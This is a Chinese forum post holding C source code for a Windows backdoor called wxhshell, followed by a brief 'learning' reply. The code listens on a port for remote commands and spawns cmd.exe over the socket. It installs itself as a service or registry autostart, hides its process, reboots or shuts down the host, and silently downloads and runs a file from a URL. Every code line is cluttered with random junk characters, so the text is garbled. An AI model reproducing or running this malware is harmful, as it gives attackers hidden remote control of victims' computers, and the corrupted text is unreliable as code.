  if(strstr(cmd,"http://")) { [bk?!0]aV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KFwzy U"  
  if(DownloadFile(cmd,wsh)) yu/`h5&*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |1>*;\o-  
  else c*@E_}C#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8zR~d%pK  
  } ,5*eX  
  else { ksN+ ?E4w  
}I2@%tt?  
    switch(cmd[0]) { fOMW"myQ  
  9b*nLyYVz  
  // 帮助 Z KckAz\#  
  case '?': { 2j[&=R/.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b^$|Nz;  
    break; DY?Kfvef  
  } |Xk4&sDrK  
  // 安装 Z7?~S2{c  
  case 'i': { '`uwJ&@  
    if(Install()) wL:flH@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3z&Fi;<+j  
    else "UJ S5[7$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); & J2M1z%  
    break; cu/5$m?xx  
    } 9*1,!%]  
  // 卸载 M L>[^F  
  case 'r': { W!>.$4Q9  
    if(Uninstall()) u[ Yk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6gs01c,BA  
    else  #c66)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |YY_^C`"-  
    break; ]f({`&K5  
    } ]&pds\  
  // 显示 wxhshell 所在路径 M!XsJ<jN/  
  case 'p': { z=3\Ab  
    char svExeFile[MAX_PATH]; k-{<=>uM  
    strcpy(svExeFile,"\n\r"); sH[ROm  
      strcat(svExeFile,ExeFile); u!W0P6   
        send(wsh,svExeFile,strlen(svExeFile),0); M%kO7>h8  
    break; Oz%>/zw[h  
    } X'qU*Eo  
  // 重启 jm Fz51  
  case 'b': { ftF@Wq1f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); / :n#`o=;  
    if(Boot(REBOOT)) F 70R1OYU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f V'ZsJ N  
    else { Gvr@|{k  
    closesocket(wsh); EpX&R,Rxk  
    ExitThread(0); FK5 <6n,U  
    } J\M>33zu  
    break; f__cn^1  
    } d! LE{  
  // 关机 b7p@Dn?E  
  case 'd': { 65aK2MS@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cZ2kYn 8  
    if(Boot(SHUTDOWN)) [CXrSST")E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?3.b{Cq{-  
    else { j?x>_#tIY  
    closesocket(wsh); +yD`3` E  
    ExitThread(0); ?}U(3  
    } "\o+v|;  
    break; -RvQB  
    } In<n&ib  
  // 获取shell m~-K[+ya`D  
  case 's': { m1M t#@,$  
    CmdShell(wsh); 1R1 z  
    closesocket(wsh); n' q4  
    ExitThread(0); S9~ +c  
    break; GfmI<{da  
  } ei[j1F  
  // 退出 /*X2c6<d  
  case 'x': { I ,z3xU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `yH<E+   
    CloseIt(wsh); tAv@R&W,  
    break; t~#zMUfac  
    } mSb#Nn6W  
  // 离开 Ke2ccN  
  case 'q': { [VsKa\9u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0,89H4  
    closesocket(wsh); V#S9H!hm$  
    WSACleanup(); \(^nSy&N  
    exit(1); 5a|w+HO,  
    break; z;|A(*Y  
        } rFj-kojg  
  } vPTM  
  } = 's(|  
F.=2u"[*&  
  // 提示信息 C8V/UbA /  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BlA_.]Sg$  
} xgKdMW'%g:  
  } 'z%o16F)L  
YH\OFg@7  
  return; )\J+Kiy)  
} 1Y7Eajt-5  
V4'YWdTi  
// shell模块句柄 HoRg^Ai?\  
int CmdShell(SOCKET sock) ,>0*@2  
{ opy("qH  
STARTUPINFO si; $+Z)  
ZeroMemory(&si,sizeof(si)); "2)H'<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]dGw2y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lTV'J?8!-a  
PROCESS_INFORMATION ProcessInfo; CkoL TY  
char cmdline[]="cmd"; 2Q/4bJpd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mUdOX7$c>  
  return 0; QSszn`e  
} pgQV/6  
4GY[7^  
// 自身启动模式 Rld!,t  
int StartFromService(void) y)W@{@{kl  
{ %'s>QF]'  
typedef struct -y8`yHb_  
{ =E.t`x=  
  DWORD ExitStatus;  ]%wVHC  
  DWORD PebBaseAddress; N`L0Vd  
  DWORD AffinityMask; =WyZX 7@R  
  DWORD BasePriority; LE9(fe) fe  
  ULONG UniqueProcessId; ToXki,  
  ULONG InheritedFromUniqueProcessId; 1p/3!1  
}   PROCESS_BASIC_INFORMATION; V@ cM|(  
#t: S.A@  
PROCNTQSIP NtQueryInformationProcess; XBb~\p3y  
KLitg6&P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8&?s#5zA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i]6`LqlO  
->g*</  
  HANDLE             hProcess; '%dfz K*Z  
  PROCESS_BASIC_INFORMATION pbi; g1W.mAA3B  
#><.oreXq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V-Sd[  
  if(NULL == hInst ) return 0; vdx0i&RiL  
g!?:Ye`5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?fUlgQ }N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jrti cK$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sjyoc<Uo  
17oa69G  
  if (!NtQueryInformationProcess) return 0; Q@<S[Qh[.  
`_`QxM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `.FF!P:{C*  
  if(!hProcess) return 0; M^r1S  
Nn~~!q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G~2jUyv  
uW@oyZUj  
  CloseHandle(hProcess); zQ@I}K t  
w$z}r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {|&5_][  
if(hProcess==NULL) return 0; (Pf+0,2  
aJ-K?xQ  
HMODULE hMod; EN;}$jZ>47  
char procName[255]; s:#V(<J  
unsigned long cbNeeded; sk,ox~0R  
mpI5J'>]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g`vny)\7/  
aT)BR?OYSJ  
  CloseHandle(hProcess); oX S1QT`B  
gQxbi1!;9  
if(strstr(procName,"services")) return 1; // 以服务启动 bx{$Y_L+p  
xLNtIzx  
  return 0; // 注册表启动 E:JJ3X|  
} %C~1^9uq  
hb zC#@ q  
// 主模块 wKZ$iGMbz  
int StartWxhshell(LPSTR lpCmdLine) `\T]ej}zvI  
{ \>:CvTzF  
  SOCKET wsl; 75"f2;  
BOOL val=TRUE; -:2$ %  
  int port=0; dJ2Hr;Lc  
  struct sockaddr_in door; >/kc dWl  
uxtWybv  
  if(wscfg.ws_autoins) Install(); 7n8~K3~;  
_=Z,E.EN  
port=atoi(lpCmdLine); CFzNwgv]z  
Rz bj  
if(port<=0) port=wscfg.ws_port; s>;v!^N?u  
4zev^FR  
  WSADATA data; bJRN;g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ox&P}P0f  
8+a4>8[M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s \;"X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \`oT#|0  
  door.sin_family = AF_INET; 0B@SN)<kH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y.#")IAF  
  door.sin_port = htons(port); ,0*&OXt  
t2F _uCr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k2c}3 MeP  
closesocket(wsl); 6x h:/j3  
return 1; xy5lE+E_U  
} ,&j hlZ i  
Gn|F`F  
  if(listen(wsl,2) == INVALID_SOCKET) { M m[4yP%  
closesocket(wsl); 8oUpQcim  
return 1; Pz>s6 [ob  
} pk?w\A}  
  Wxhshell(wsl); q qpgy7  
  WSACleanup(); PD&\LbuG  
u<3HQ.:;  
return 0; OMWbZ>jB  
vwjPmOjhS  
} rai3<_W<  
ROg(U8 N  
// 以NT服务方式启动 0fb`08,^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u.d).da  
{ pP*zq"o  
DWORD   status = 0; C\/xl#e<@  
  DWORD   specificError = 0xfffffff; co~Pyj  
:=/85\P0SU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i@P)a'W_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p2n0Z\2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @hJ%@(  
  serviceStatus.dwWin32ExitCode     = 0; |]J>R  
  serviceStatus.dwServiceSpecificExitCode = 0; b8V~S'6VqO  
  serviceStatus.dwCheckPoint       = 0; tZ} v%3  
  serviceStatus.dwWaitHint       = 0; o7J  
PZE0}>z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0Fk5kGD,&K  
  if (hServiceStatusHandle==0) return; :*ing  
0y 7"SiFY  
status = GetLastError(); Y? x,  
  if (status!=NO_ERROR) xIxn"^'  
{ sm0xLZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5b!vgm#])  
    serviceStatus.dwCheckPoint       = 0; ;i Fz?d3;  
    serviceStatus.dwWaitHint       = 0; !lf|7  
    serviceStatus.dwWin32ExitCode     = status; yRSTk2N@  
    serviceStatus.dwServiceSpecificExitCode = specificError; J?RabYd ~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (eCJ;%%k  
    return; }`W){]{k O  
  } J6U$qi  
dRj|g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V.O(S\  
  serviceStatus.dwCheckPoint       = 0; xl6,s>ob  
  serviceStatus.dwWaitHint       = 0; giZP.C"0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3&u&x(   
} \@8+U;d  
z.GMqW%B  
// 处理NT服务事件,比如:启动、停止 K8>zF/# +  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u+'tfFds&  
{ IPgt|if^  
switch(fdwControl) .QA }u ,EN  
{ tNGp\~  
case SERVICE_CONTROL_STOP: |?qquD 4=  
  serviceStatus.dwWin32ExitCode = 0; }._eIx"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A6:es_  
  serviceStatus.dwCheckPoint   = 0; 3pv4B:0  
  serviceStatus.dwWaitHint     = 0; DE%KW:Hug  
  { ~-EOjX(X'E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K[ (NTp$E  
  } <F}_ /q1  
  return; 5Yl <h)1  
case SERVICE_CONTROL_PAUSE: RoU55mL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #9X70|f  
  break; ^C_#<m_k  
case SERVICE_CONTROL_CONTINUE: ppZDGpp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H *[_cqnv  
  break; D+>4AqG  
case SERVICE_CONTROL_INTERROGATE: o$w_Es]Ma  
  break; Z&|Kki*  
}; n^z]q;IN2.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {B[=?6tQ  
} 7( qE0R&@  
P"W2(d  
// 标准应用程序主函数 &Q>k7L!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !P)O(i=  
{ [-\%4  
^:#D0[  
// 获取操作系统版本 h{AII  
OsIsNt=GetOsVer(); OY:,D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zn ''_fjh  
U-IpH+E  
  // 从命令行安装 .v$D13L(o  
  if(strpbrk(lpCmdLine,"iI")) Install(); N'g>MBdI  
c2&q*]?l;  
  // 下载执行文件 <)u`~$n2  
if(wscfg.ws_downexe) { 5qr'.m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b]x4o#t  
  WinExec(wscfg.ws_filenam,SW_HIDE); W0l,cOOZJ  
} oJ4 AIQjB  
@&1ZB6OCb:  
if(!OsIsNt) { "br,/Dk>MX  
// 如果时win9x,隐藏进程并且设置为注册表启动 pL{U `5S  
HideProc(); |962G1.  
StartWxhshell(lpCmdLine); H`0|tepz  
} }UWL-TkEjF  
else DV _2P$tT|  
  if(StartFromService()) .u4 W /  
  // 以服务方式启动 ig/%zA*Bo  
  StartServiceCtrlDispatcher(DispatchTable); .Yf:[`Q6g  
else Z/t+8;TMR,  
  // 普通方式启动 `-3O w[  
  StartWxhshell(lpCmdLine); 1XD,uoxB  
*g6n  
return 0; qWODs  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五